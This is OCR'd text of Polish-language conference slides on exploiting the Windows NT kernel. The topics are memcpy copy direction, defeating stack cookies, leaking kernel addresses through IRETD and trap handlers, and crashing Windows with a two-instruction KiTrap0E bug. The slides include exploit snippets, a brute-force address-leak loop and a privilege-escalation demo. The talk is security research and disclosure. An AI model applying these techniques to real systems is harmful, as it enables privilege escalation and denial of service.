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Co zobaczymy?

Techniki umozliwiajace exploitacje, oraz same
podatnosci jadra Windows NT.



Co zobaczymy?

¢ Funkcje kopiujgce a exploitacja przepetnien bufora

O odwrotna kolejnosc¢ kopiowania danych w nt!memcpy

¢ Ujawnianie informacji o przestrzeni adresowej jgdra

O SegSs, LDT_ENTRY.HighWord.Bits.Default Big oraz IRETD
o Windows 32-bit Trap Handlers

® Crashowanie Windowsa i ujawnianie danych pamieci
kernela

O nt!KiTrap@e w roli gtdwne,;.



Dlaczego?
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Dlaczego?

For teh lulz, gfownie.

Bezpieczenstwo aplikacji klienckich zalezy od
bezpieczenstwa systemu operacyjnego.

® sandboxy... wszedzie sandboxy

Nawet w 2013, Windows wcigz podatny na proste ataki.
O gtownie z powodu kodu napisanego w 1993 :(

O znajdowanie btedéw wymaga wiedzy, gdzie ich szukac.

Zbior zabawnych, potencjalnie uzytecznych technik i
obserwacii.
® subtelne zachowania majg ogromne znaczenie w ring-0.



Funkcje kopiujace w
jadrze Windows



Kopiowanie danych

Zalozmy, ze jestesmy developerami sterownikow
Windows.

Chcemy skopiowac buformpochodzqcy Z user-mode.

Co roBimy?



Kopiowanie danych

To proste!

* Funkcje biblioteki standardowe] C w WDK

o ntlmemcpy

o nht!memmove

* API jadra Windows

o nt!RtlCopyMemory

o nt!RtlMoveMemory



Nachodzace regiony pamieci

® Najczesciej spotykany przypadek brzegowy.

® Poprawnie obstugiwany przez memmove,
Rt1MoveMemory

O gwarantowane przez standard oraz dokumentacje MSDN.

O memcpy oraz Rt1lCopyMemory czesto sg na aliasami na
powyzsze.

® Wazne:
Zaimplementowane poprzez odwracenie
kierunku kopiowania.



Pseudokod

*memmove ( *dst, const *src, size t num)
if (overlap(dst, src, size)) {
copy_backwards(dst, src, size);

} else {

copy_forward(dst, src, size);
potencjalnie

} uzyteczne

return dst;



Kopiowanie w przdd nie dziata

region docelowy
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Kopiowanie w tyt dziata

region docelowy
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Kopiowanie w tyt dziata
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Czym jest overlap () ?

Istnieja dwa warianty.

y

Scisty

bool overlap(void *dst, const void *src, size t num) {

return (src < dst && src + size > dst);

Liberalny

bool overlap(void *dst, const void *src, size t num) {

return (src < dst);



Co jest uzywane gdzie i jJak?

Sporo do przetestowania!

o Cztery funkcje (memcpy, memmove, Rt1CopyMemory,
Rt1MoveMemory)
Cztery systemy (7 32-bit, 7 64-bit, 8 32-bit, 8 64-bit)

o Cztery konfiguracje:
" Sterowniki, bez optymalizacji (/0d /01)
" Sterowniki, optymalizacja predkosci wykonania kodu (/0t)
" Sterowniki, petna optymalizacja (/0xs)
" QObraz jgdra (ntoskrnl.exe lub jego odpowiednik)



Co jest uzywane gdzie i jJak?

® Wiele réznic

O memcpy czasami jest rozwijane (rep movsd).
" winnych wypadkach, bywa aliasem na memmove.

o funkcje kopiujgce sg linkowane statycznie lub importowane z

jadra

O rozne typy optymalizacji dla roznych platform / opcji kompilacji
" rozmiary operandow (32 vs 64 bity)
" rozwijane petle

O rozne warianty overlap().
® Kazdy atak wymaga osobnej analizy implementac;ji
wystepujgcej na atakowanym systemie.



Co jest uzywane gdzie i jak?

Uproscmy.

(mile widziane przeprowadzanie wiekszej ilosci testow na wtasng reke)

®  Tylko memcpy i memmove.
®  Windows 8 Release Preview.
® WDK7699.16385.1 do kompilacji.

memcpy 32 memcpy 64 memmove 32 memmove 64

Drivers, brak optymalizacji

Drivers, opt. predkosci

Drivers, petna optymalizacja

Obraz jgdra NT




A wiec czasami...

A W DN P

... mozemy:

HEE
HEEEE 4

zamiast:




Noi... co ztego?

Kierunek kopiowania nie ma znaczenia dla poprawnych
wywofan.

Niemniej, wyobrazmy sobie przez chwile, ze w jadrze
Windows i sterownikach znajduja sig¢ biedy.

00



Problemy zwigzane z memcpy()

memcpy(dst, src, size);

VAN

jesli to jest w petni

kontrolowane, game over. tutaj zaczynajg sie

ciekawe rzeczy ©

nadpisanie dowolnej

pamieci jadra. jesli to jest w petni

kontrolowane, game over.

ujawnienie informacji
(zazwycza)).



Przydatny odwrotny kierunek

¢ Zatozmy, ze size nie odpowiada rozmiarowi regionu
src, dst lub obu z nich.

¢ Kiedy kierunek kopiowania ma znaczenie:

O Istnieje sytuacja wyscigu pomiedzy ukonczeniem procesu
kopiowania a dostepem do juz nadpisanych danych.
LUB
O oczekujemy, ze dziatanie funkcji kopiujgcej nie zakonczy sie
powodzeniem.

= np. natrafia na dziure (niepodmapowang pamiec) wewnatrz
regionu zrodta lub celu.



Scenariusz 1 — sytuacja wyscigu

Przykiadowe warunki
1. Przepetnienie bufora na stercie jadra.
2. size jest kontrolowang wielokrotnoscig 0x1000000.
3. pamieé znajdujaca sie pod src zalezy od uzytkownika.

Problem?

Olbrzymi rozmiar nadpisywanej pamieci. Oczekiwanie
16MB ciggtej pamieci sterty jest nierealne.
Najprawdopodobnie] nastgpi crash systemu
wewnatrz wywotania memcpy ().



Scenariusz 1 - sytuacja wyscigu
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Scenariusz 1 - sytuacja wyscigu
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Scenariusz 1 - sytuacja wyscigu
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Scenariusz 1 — sytuacja wyscigu

#GP(0), KeBugCheck()

region docelowy

przestrzen
I adresowa
<€ | jadra

kierunek kopiowania




Scenariusz 1 — sytuacja wyscigu

-Jak temu zapobiec?
- Przejmijmy kontrole przed wystapieniem bugcheckal

Droga do sukcesu:

¢ Wypetnic sterte strukturami KAPC pod ~przewidywalnym
przesunieciem wzgledem poczgtku nadpisywanego bufora.

o KAPC zawiera wskazniki na funkcje jadra.
®  Ustawié size tak, by dst + size wskazywat na wypetniony region.

¢ Wywotac¢ nadpisane KAPC.KernelRoutine w oddzielnym watku.



Scenariusz 1 — sytuacja wyscigu

: kd> dt _KAPC

. nt!_KAPC

: +0x000 Type
+0x001 SpareByte0
+0x002 Size
+0x003 SpareBytel
+0x004 SparelLong@
+0x008 Thread
+0x010 ApcListEntry
+0x020 KernelRoutine
+0x028 RundownRoutine
+0x030 NormalRoutine
+0x038 NormalContext
+0x040 SystemArgumentl
+0x048 SystemArgument2
+0x050 ApcStatelndex
+0x051 ApcMode
+0x052 Inserted
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kierunek kopiowania

. Ptr64
. Ptr6e4d void
: Ptr6e4 void
: Ptr64 Void

: Ptr64 Void

: Ptr64 Void

: Char

: Char

: UChar

region docelowy

przestrzen
adresowa
jadra

: UChar

: UChar

: UChar

: UChar

: Uint4B

: Ptr64 _KTHREAD

LIST_ENTRY :
void 4——— pamiec wypetniona
| strukturami



Scenariusz 1 - sytuacja wyscigu
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Scenariusz 1 - sytuacja wyscigu

region docelowy
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Scenariusz 1 - sytuacja wyscigu

region docelowy

_______—_——————————_————_——______-
—— - _~~~
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-
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CPU #0 1 CPU #1

memcpy(dst, src, size);-~ SleepEx(10, FALSE);

o o s o



Scenariusz 1 — sytuacja wyscigu

BN Administrator: C\Windows\system32\cmd.exe | = | [5] |—E'-

Microzoft Windows [Uersion 6.1.76011
Copuright <c2?» 20807 Microszoft Corporation. All rights reserved.

C:sWindowsssystem3d2 >whoami
nt avthorityssustem

C:sWindowsszsystem32 > _




Exploitacja ograniczona czasem

¢ Wypetniajgc sterte | manipulujgc rozmiarem, mozemy
kontrolowac, ktore dane nadpisane sg na poczatku.
O moze ustrzec przed crashem systemu.

O moze ustrzec przed nadpisaniem nadmiernej ilosci danych.

® Wymaga wygrania sytuacji wyscigu

o trywialne dla n = 2 logicznych CPU.
¢ Wocigz trudne jest odtworzenie poprawnego stanu
systemu

O wymaga “naprawiania” struktury sterty jgdra.

o atak moze by¢ niemozliwy do wykonania w sposéb
niewidzialny.



Obstuga wyjatkow

® W poprzednim przykfadzie, luki w pamieci dziataty na
naszg niekorzysc.

o trzeba byto uzywac wyscigow.

o jgdro NT bezwarunkowo awaryjnie zamyka system w momencie
proby do nieistniejgcego regionu kernel-mode.

® Z drugiej strony, nieudane odwotania do pamieci user-
mode sg czescig architektury systemu

O poprawnie obstugiwane i przekazywane do blokéw
except(){}.

O system oczekuje, ze takie wyjgtki mogg sie pojawiac.



Obstuga wyjatkow

"ProbeforRead routine” w MSDN:

Drivers must call ProbeForRead inside a try/except block. If the
routine raises an exception, the driver should complete the IRP with
the appropriate error. Note that subsequent accesses by the
driver to the user-mode buffer must also be encapsulated
within a try/except block: a malicious application could have
another thread deleting, substituting, or changing the protection of
user address ranges at any time (even after or during a call to
ProbeForRead or ProbeForWrite).



Adresy user-mode

Kiedy sterownik kopiuje dane uzytkownika za pomocg memepy...

memcpy(dst, user-mode-pointer, size);

1. Liberalna wersja overlap() zawsze zwraca true

a. user-mode-src < kernel-mode-dst
b. dotyczy wiekszosci przypadkow 64-bitowego kodu.

2. Dane z ring-3 sg zawsze kopiowane od prawej do lewe,;.

3. Scista implementacja overlap() jest trudniejsza.



Kontrolowanie kopiowania

® Jesli dostep do niepoprawnych regionow pamieci ring-3
jest poprawnie obstugiwany...

O mozemy przerwac wywotanie memcpy () w dowolnym
momencie.

® Wten sposob, kontrolujemy iloS¢ bajtow skopiowanych

do dst przed wygenerowaniem wyjgtku.

¢ Poprzez manipulacje size kontrolujemy przesuniecie

relatywne do nadpisywanego bufora.



Ostatecznie, ...

... konczymy z relatywnym warunkiem write-what-where.

czyli mozliwoscig zapisania kontrolowanych bajtow w
przedziale

< dst + size — src mapping size; dst + size >

“za darmo”, jedynym kosztem bedzie niedokonczone
wywotanie memcpy (). Nieistotne.



Kontrolowanie przesuniecia

SIC Src + size

pamieC user-mode
.................................................. Y A 4
>
dst dst+size”™ .
pamiec¢ kernel-mode
— —>

cel



Kontrolowanie przesuniecia

src src + size
il pamieC user-mode
- >
dst _,ndét“+ size
) pamiec¢ kernel-mode
— —>

cel



Kontrolowanie przesuniecia

SIc src + size

amieC user-mode

dst dst + size

pamiec¢ kernel-mode

— —

cel



Kontrolowanie rozmiaru

Src

src + size

pamieC user-mode

dst 7 dst + size

pamiec¢ kernel-mode

—>

cel



Kontrolowanie rozmiaru

src src + size
pamieC user-mode
...................... \ 4 A 4
>
dst dst + size
pamiec¢ kernel-mode
— —>

cel



Wyobrazmy sobie...



... 2e to stos!

Src src + size

pamieC user-mode

dst dst + size

stos kernel-mode

—

bufor

adres
lokalny ~ GS cookie ramka

stosu pOWfOtU



Ochrona stosu pokonana

® Wiasnie ominelismy ochrone przeciwko stosowym
przepetnieniom bufora!

O technika podobnie przydatna do przepetnien stertowych.
" mozliwe nadpisanie konkretnych pol struktury nt! POOL_ HEADER

" jak réwniez tresci przylegtych alokaciji, bez niszczenia struktury
sterty

O dziata dla kazdego zabezpieczenia przeciwko ciggtym
przepetnieniom

® Da przewidywalnego dst, zwykte write-what-where

O adres stosu kernela nie jest sekretem
(NtQuerySystemInformation).

O istniejg inne zrodta te) informacji (dalsza czesc¢ prezentacii).



Przykiad przepetnienia stosowego

Ten kod jest trywialnie exploitowalny:

NTSTATUS IoctlNeitherMethod(PVOID Buffer, ULONG BufferSize) {
CHAR InternalBuffer[16];

_try {
ProbeForRead(Buffer, BufferSize, sizeof(CHAR));
memcpy (InternalBuffer, Buffer, BufferSize);

} except (EXCEPTION_ EXECUTE_HANDLER) {
return GetExceptionCode();

}

return STATUS_ SUCCESS;
}

Uwaga: jesli skompilowany jest WDK 7600.16385.1 dla Windows 7
(x64 Free Build)



Przykiad przepetnienia stosowego

il s
loc_11825:

mov ebx, edx

mou r8d, 1 ; Alignment
mou edx, edx ; Length
call cs:__imp ProbeForRead

mou r8, rbx : Size

mou rdx, rdi : Src

1ea rFcx, [Fsp+iuBh+Dst] ; Dst
call memcpy

1ea rax, [rsp+i48h+Dst]

test rax, rax

jz short loc_ 11858

if (dst > src) {

} else {

statycznie zlinkowane

memmove()

il o 2 I

/

cdecl memcpy({void =*Dst, const void #*Src, size t Size)
MeEMCpyY proc

mov r11, rcx |
sub rdx, rcx
jb loc_1148A
- j
bl e 5 il e 5T
cmp rg, 8
jb short loc_ 11354 loc_1148nA:
1 add rcx, B8
cmp r8, 8
jb short loc_ 114F4




Kod exploita

PUCHAR Buffer = VirtualAlloc(NULL, 16,
MEM_COMMIT | MEM_RESERVE,
PAGE _EXECUTE_READWRITE);
memset (Buffer, 'A', 16);

DeviceIoControl(hDevice, IOCTL_VULN_BUFFER_OVERFLOW,
&Buffer[-32], 48,

NULL, ©, &BytesReturned, NULL);






Na temat NULL Pointers...

memcpy(dst, NULL, size);

Powyzsze moze by¢ exploitowalne:

® kazdy adres (dst) > NULL (src), przechodzi liberalng
weryfikacje.

® wymaga znacznej kontroli nad size.
o "NULL + size" musi wskazywac na podmapowang pamiec.

® nie jest to "tré" NULL Pointer Dereference.



Inne warianty

To bylo proste... w ogolnosci:

Rozwiniete memcpy () zabija te technike.
Exploitacja kopiowania kernel — kernel jest trudniejsza.

O nawet warunek "dst > src" wymaga znacznej kontroli nad
sterta.

Przejscie scistej weryfikacji (32-bit) jest nietrywialne.
O size musi by¢ ogromne dla kernel — kernel.
O Jeszcze wieksze dla user — kernel.

Nietrywialne # niemozliwe.



Whnioski

1. Kopiowanie pamieci user — kernel na 64-bitowym
Windowsie jest zazwyczaj trywialnie exploitowalne

a. Inne scenariusze mogg byc¢ trudniejsze, ale ...

2. Nie porzucajmy btedow zwigzanych z memcpy, memmove,
Rt1lCopyMemory, Rt1MoveMemory

a. sprawdz konkretng implementacje i warunki w ktorych zachodzi

btad przed ocenianiem exploitowalnosci.



Ujawnianie informacji o
przestrzeni adresowe]
jadra



Uktad pamieci jadra to nie sekret

Process Status APIl: EnumDeviceDrivers

NtQuerySystemInformation
o SystemModuleInformation

o SystemHandleInformation

o SystemLockInformation

o SystemExtendedProcessInformation
tablica uchwytow user/gdi win32k.sys
wpisy w GDTR, IDTR, GDT



Wciaz zabawnie znajdowac wigce;.



Local Descriptor Table

® Windows wspiera ustawianie wtasnych struktur w LDT
o uzywane na zasadzie per-process.

o wytacznie 32-bitowe systemy (x86-64 ma ograniczong obstuge

segmentacji)
® Tylko segmenty danych / kodu sg dozwolone.
® Struktury przechodzg doktadng weryfikacje przed

znalezieniem sie w LDT.

o W innym wypadku mozna by ustawi¢ LDT_ENTRY.DPL=0 |
zdobyc¢ ring-0.



LDT — poprzednie badania

® W 2003 Derek Soeder odkrywa, ze flaga "Expand Down*
nie jest sprawdzana.

o base I limit mieszczg sie w limitach.
o ... aleich znaczenie jest odwrdcone.

® Selektory kontrolowane przez uzytkownika nie sg
uzywane przez jadro.

o Szczegolnie w Vista+

® Derek znalazt miejsce, gdzie miato to miejsce.
o write-what-where — lokalne podniesienie uprawnien.



Ciekawe flagl

Czy mozemy znalezc jeszcze jakie$
zabawne flagi?



Flaga “Big”

Data-Segment Descriptor

31 24 2 ﬂ 212019 161514 1312 11 8 7
Al i D Type
Base 31:24 % 1LE'{DI'E Pl p yp Base 23-16
L ' L O(E|W|A
31 16 15

Base Address 15:00

Segment Limit 15:00




Roéozne funkcje

D/B (default operation size/default stack pointer size and/or upper bound)
flag
Performs different functions depending on whether the segment
descriptor is an executable code segment, an expand-down data
segment, or a stack segment. (This flag should always be set to 1 for

32-bit code and data segments and to O for 16-bit code and data
segments. )



Segment kodu wykonywalnego

® Wskazuje wielko$¢ domysinego operandu

Instrukcii
o odpowiednik prefiksow 66H i 67H.

® Kompletnie dezorientuje debuggery.
o WIinDbg implementuje wtasng logike flagi “Big”
» pokazuje aktualng instrukcje pod cs:ip

= zawija rejestr “ip” podczas single-steppowania, co normalnie
nie zachodzi.

* tym samym zmienia tok wykonywania programu.

WTF




Segment stosu

Stack segment (data segment pointed to by the SS
register). The flag is called the B (big) flag and it specifies the
size of the stack pointer used for implicit stack operations (such as
pushes, pops, and calls). If the flag is set, a 32-bit stack pointeris
used, which is stored in the 32-bit ESP register; if the flag is clear,
a 16-bit stack pointer is used, which is stored in the 16-bit SP
register. If the stack segment is set up to be an expand-down data
segment (described in the next paragraph), the B flag also
specifies the upper bound of the stack segment.



Powroty kernel—user

® Przy kazdym powrocie z przerwania lub

wywotania systemowego uzywa sie IRETD

o pobiera ze stosu | ustawia: cs, ss, eip, esp, eflags

A przynajmniej kazdy tak mysli!



Algorytm IRETD

IF stack segment is big (Big=1)
THEN
ESP «—tempESP
ELSE
SP «—tempSP
FI;

® Wyzsze 16 bitdbw ESP nie jest czyszczone.

o Czesc¢ adresu stosu kernel-mode jest ujawniona do user-mode.

® Zachowanie nie udokumentowane w manualach
Intela / AMD.



Bez przesady z ekscytacja ©

® Ta informacja jest tez dostepna innymi
drogami (NtQuerySystemInformation)

o rowniez na platformach 64-bitowych

® Wyglada na problem natury cross-platform.
o by¢ moze bardziej przydatne na Linux, BSD, ...?
o nie testowatem, zachecam do zrobienia tego.






Obstuga wyjatkow -
wigcej przeciekow



Domysine wyjatki
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Interrupt 12—Stack Fault Exception (#SS). ... e 5-48
Interrupt 13—General Protection Exception (#GP) . ...t 5-50
Interrupt 14—Page-Fault Exception (BPF) ... e 5-54
Interrupt 16—x87 FPU Floating-Point Error (#MF). ...t 5-58
Interrupt 17—Alignment Check Exception (HAC). .....ooriii i 5-60
Interrupt 18—Machine-Check Exception (#MC) . ...t 5-62
Interrupt 19—SIMD Floating-Point Exception (#XM) ...t 5-64

Interrupts 32 to 255—User Defined Interrupts. ... 5-67



Obstuga wyjatkow w Windows

#DE #DB NMI
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#BP #OF #BR

div ecx

“
“
F'Y

push eax

reg

mov eaxf![ebp+@Ch]

l

NtContinue

“l&'.‘:.‘...
“‘t‘ ------------ l.'\.:
ntdll!KiDispatchException
““““““““ A -.-.......
P ::I‘ ........ \
VEH Handler VEH Handler
VEH Handler f % VEH Handler
VEH Handler VEH Handler
VEH Handler f K VEH Handler




Obstuga wyjatkow w Windows

#DE #DB NMI

#BP #OF #BR

div ecx

“
“
F'Y

push eax

reg

mov eaxf![ebp+@Ch]

l

NtContinue

VEH Handler
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Obstuga wyjatkow w Windows

#DE #DB NMI #BP #OF #BR NtContinue
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l VEH Handler VEH Handler
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Obstuga wyjatkow w Windows
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Obstuga wyjatkow w Windows

#DE #DB NMI
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Pewne handlery posiadajg specjalng obsluge
szczegolnych sytuacji

lecz robig to w sposdb bigdny.



Trap Flag (EFLAGS TF)

® Uzywane do funkcjonalnosci single step w debuggerach.

® Generuje Interrupt 1 (#DB, Debug Exception) po
wykonaniu pierwszej instrukcji po ustawieniu flagi.

o Przed przetworzeniem kolejnej.

® Mozna “wejs¢ w” (step into) handler system calli:

pushf
or dword [esp], ©x100

popt
sysenter



Trap Flag (EFLAGS TF)

® #DB jest wygenerowany z
KTRAP_FRAME.Eip=KiFastCallEntry I
KTRAP_FRAME.SegCs=8 (kernel-mode)

® 32-bitowy handler nt!KiTrap01 rozpoznaje te sytuacje:
o zmienia KTRAP_FRAME.Eip na nt!KiFastCallEntry2
o czy$ci KTRAP_FRAME.EFlags_TF
o Wraca.

® KiFastCallEntry2 ustawia KTRAP_FRAME.EFlags TF,
zeby nastepna instrukcja po SYSENTER wygenerowata
wyjatek single step.



To jest OK, ale...

® KiTrapo1l nie weryfikuje zatozenia, ze SegCs=8 (wyjatek

pochodzi z kernel-mode)

® Wiasciwie nie rozréznia tych dwoch:

adres
KiFastCallEntry
i pushf . ipushf
ior [esp], Ox100i ior [esp], @xl@@
: popf . ipopf :
i sysenter . ijmp ©x80403c86

(zmiana CPL vs. brak zmiany CPL)



Co sie dzieje dla IJMP KiFa...?

#DE #DB NMI #BP #OF #BR ... #PF NtContinue

Sy .
pushf ] ntdll!KiDispatchException
or [esp],;éx10 | = T
popf e P
jmp ©x80403c86 Lo Z A

‘1' VEH Handler VEH Handler
mov eax, [ebp+0Ch] VEH Handler VEH Handler
push eax -

VEH Handler VEH Handler
‘l’ VEH Handler VEH Handler



Co sie dzieje dla JMP KiFa...?

#DE #DB NMI #BP #OF #BR

jmp ©0x80403c86

v

mov eax, [ebp+0Ch]

push eax

#PF

NtContinue

VEH Handler

VEH Handler

VEH Handler

VEH Handler

VEH Handler

VEH Handler

VEH Handler

VEH Handler

.
--------




Co sie dzieje dla JMP KiFa...?

#DE #DB NMI #BP #OF #BR

#PF NtContinue

pushf

or [esp]j 0x100
popf :

jmp 0x80403c86

v

mov eax, [ebp+0Ch]

push eax

““““““““ A -.-.......
P P A
VEH Handler VEH Handler
VEH Handler f % VEH Handler
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Co sie dzieje dla JMP KiFa...?

#DE #DB NMI #BP #OF #BR ... #PF NtContinue

ntdll!KiDispatchException

pushf :
or [esp],;éx10 | = T
popf S e E
jmp ©x80403c86 L : A

‘1' VEH Handler VEH Handler
mov eax, [ebp+0Ch] VEH Handler VEH Handler
pUSh eax e — :'. -‘_‘

VEH Handler VEH Handler
‘l’ VEH Handler VEH Handler




Co sie dzieje dla JMP KiFa...?

® Handler wyjatkéw user-mode otrzymuje informacje o:
o wyjgtek #PF (STATUS_ACCESS_VIOLATION)
o pod adresem nt!KiFastCallEntry2

® Normalnie dostajemy #DB (STATUS_SINGLE_STEP) pod
adresem, do ktorego probowalisSmy skoczyc.

® Mozna uzyc¢ tej niescistosci do wykrycia adresu
nt!KiFastCallEntry.

o brute-force style.



Algorytm ujawniania

for (addr = 0x80000000; addr < Oxftfffffff; addr++) {
set _tf and jump(addr);
if (excp _record.Eip != addr) {
// found nt!KiFastCallEntry

break;






nt!KiTrapOE ma podobne problemy

® Réwniez obstuguje magiczne Eipy:
o nt!KiSystemServiceCopyArguments
o nt!KiSystemServiceAccessTeb
o nt!lExpInterlockedPopEntrySListFault

® Dla kazdego z nich analogicznie zamienia
KTRAP_FRAME.Eip I probuje uruchomic¢ kod

ponownie, zamiast wygenerowac normalny
wyjatek.



Jak #PF na kontrolowanym Eip?

nt!KiTrapol nt!KiTrap®OE
pushf
or dword [esp], ©x100 or dwor
pop*t
jmp Ox80403c86 jmp Ox80403c86

Doscé fatwe.






Wiec co z tym
zabljaniem Windowsa
dwoma instrukcjami?



nt!KiTrapOE jest jeszcze gtupszy.

Petna obsfuga ntlKiSystemServiceAccessTeb:

if (KTRAP_FRAME.Eip == KiSystemServiceAccessTeb) {
PKTRAP_FRAME trap = KTRAP_FRAME.Ebp;
if (trap->SegCs & 1) {
KTRAP_FRAME.Eip = ntlkss61;
}
}



Baaardzo gtupi...

® Kiedy magiczny Eip jest wykryty, jadra ufa, ze
KTRAP_FRAME . Ebp wskazuje na stos kernel-

mode

o odwotuje sie do niego na oslep.
o oczywiscie mozemy go kontrolowac!

= W koncu to wartosc rejestru Ebp w user-mode.



Smieré Windowsa w dwéch
instrukcjach

Xor ebp, ebp
jmp 0x8327d1b7

/

nt!KiSystemServiceAccessTeb






Ujawnianie konkretnych danych

® Ten btad to wiecej niz tylko DoS

o obserwujgc decyzje podjete na podstawie wyrazenia
(trap->SegCs & 1), mozemy wywnioskowac jego
wartosc.

o t]. mozemy odczytaC najmniej znaczacy bit kazdego
bajtu w przestrzeni adresowej jadra.

= tylko, jesli pamiec jest podmapowana — w przeciwnym

wypadku crash.



Co ujawnic?
Kilka opcji do wyboru:

1. “dotykanie” dowolnej strony pamieci jgdra

(wyswapowanej).
2. redukcja entropii sekretnych wartosci (ciastek).

3. ujawnianie seedow generatorow pseudo-losowych.

AN

. Skanowanie Page Table w celu odkrycia uktadu

przestrzeni adresowej jgdra.



Co ujawnic¢ | jak?
® Czasami mozna ujawnic wiecej

o n.p. 25 z 32 bitdw poczatkowej wartosci dworda.

o tylko, jesli mozesz zmieniaC (dodawac, odejmowac)
do pewnego stopnia ujawniang wartosc.

o n.p. reference countery!

® Mam pewne bardzo ciekawe case study...

... ale zapewne jestesmy juz poza czasem.






Kilka stow na koniec

® Trap handlery sg dzi$ w miare solidne
o dzieki Tavisowi I Julienowi za audyt!
o pozostaty tylko drobne kwestie.

® Dzisiejsze btedy to wcigz “0-daye”
o ostatni bug bedzie poprawiony w czerwcu.
o prosze ich nie naduzywaé¢ ©

® Podziekowania dla Dana Rosenberga za post
“A Linux Memory Trick”.

o zmotywowat research zwigzany z trap handlerami.



Pytania?

@j00ru
http://j00ru.vexillium.org/

7100ru.vx@gmail.com
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